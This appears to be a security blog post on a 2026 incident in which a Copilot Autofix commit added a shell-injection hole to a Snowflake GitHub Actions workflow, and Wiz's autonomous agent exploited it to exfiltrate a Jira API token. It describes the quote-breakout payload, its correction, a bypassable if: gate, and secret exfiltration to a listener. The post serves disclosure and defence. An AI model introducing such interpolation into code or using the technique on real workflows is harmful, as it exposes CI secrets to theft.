Copilot Autofix Introduced the Vulnerability That Compromised Snowflake's Jira

On June 18, 2026, a commit co-authored by GitHub Copilot Autofix landed in snowflakedb/snowflake-connector-net as part of PR #1218, 'SNOW-2069227: Update jira workflows.' The commit removed a safe input-handling pattern and substituted one that interpolated an attacker-controlled value directly into a shell script. Five days later, on June 23, 2026, Wiz Research's autonomous Red Agent scanned Snowflake's GitHub organization, identified the vulnerability, exploited it, and exfiltrated a Jira API token that authenticated to snowflakecomputing.atlassian.net as [email protected].

The exfiltrated credential granted read access across Snowflake's engineering, security compliance, and bug bounty tracking projects in Jira. Wiz disclosed the finding to Snowflake the same day, June 23, 2026. Snowflake patched the workflow that day via commit 1dc7766 in PR #1402, revoked and rotated the credential, and confirmed through audit logs that Wiz was the sole actor during the five-day exposure window.

The incident is a clean case study in two converging risks: AI coding assistants that regress on security-relevant patterns when generating or modifying code, and AI-powered offensive tooling that can discover and validate those regressions faster than any manual review cadence.

The pre-existing workflow passed the issue title through an env: block and built the JSON payload with jq --arg, which keeps the value out of the shell grammar entirely. The Copilot Autofix commit deleted that pattern and replaced it with direct GitHub expression interpolation inside a run: block.

GitHub's template engine expands ${{ github.event.issue.title }} before the shell ever runs. The sed escaping that follows operates on the already-expanded string. A single quote anywhere in the issue title breaks out of the echo '...' subshell invocation before sed has a chance to touch it, giving an attacker arbitrary command execution inside the runner. The workflow triggered on issues: opened, so any authenticated GitHub user could fire it by opening an issue.

The workflow contained an if: condition that looked protective at a glance.

On an issues event, github.event.pull_request is always null. The condition reduces to evaluating whether null is not equal to the string 'whitesource-for-github-com[bot]', which is always true. The gate passed every GitHub user unconditionally. Teams reviewing this workflow would need to understand the event-context semantics of GitHub Actions expressions to catch the bug — it reads as a meaningful check even though it is not.

Wiz's Red Agent crafted an issue title designed to break out of the echo subshell and exfiltrate secrets via an out-of-band HTTP callback. The first payload used a # comment character to discard the remainder of the line, but that also consumed the closing parenthesis of the TITLE=$(...) subshell, producing a bash EOF error. Rather than stopping, Red Agent analyzed the error, adjusted the payload to use ; echo ' to close the shell block correctly, and resubmitted.

Within seconds of the corrected payload, a GitHub Actions runner at Azure IP 20.106.182.197 made an outbound request to Wiz's listener carrying base64-encoded values for JIRA_API_TOKEN, JIRA_USER_EMAIL, and JIRA_BASE_URL. The token authenticated as [email protected] to snowflakecomputing.atlassian.net.

The most direct lesson is that AI-generated diffs must go through the same static analysis gates as human-authored code — and for GitHub Actions specifically, that means tooling that understands template expansion order, not just shell linting. The safe pattern here is well-documented: pass untrusted input through env: variables and use argument-safe tools like jq --arg rather than embedding expressions inside run: blocks. The Copilot Autofix commit inverted that pattern, and no automated check caught it before merge.

The five-day exposure window is the other number worth tracking. An AI agent — operating autonomously — went from organization scan to working exploit to disclosure in a single session. Teams that rely on periodic manual audits or quarterly penetration tests of their CI/CD workflows are operating on a cadence that no longer matches the threat environment. Continuous scanning of workflow files for expression injection patterns is now a practical requirement, not a nice-to-have.

The Wiz report does not describe how broadly Red Agent scanned Snowflake's GitHub organization or whether other workflow files were flagged but not exploited during this engagement. It also does not report how the Copilot Autofix suggestion was triggered — whether it was responding to a security alert, a lint warning, or a manual invocation — which would be relevant to understanding how common this class of regression is across repositories using similar integrations. The report confirms that Wiz was the sole actor during the exposure window, but does not address whether passive observation of the runner's outbound traffic would have been detectable through Snowflake's existing monitoring.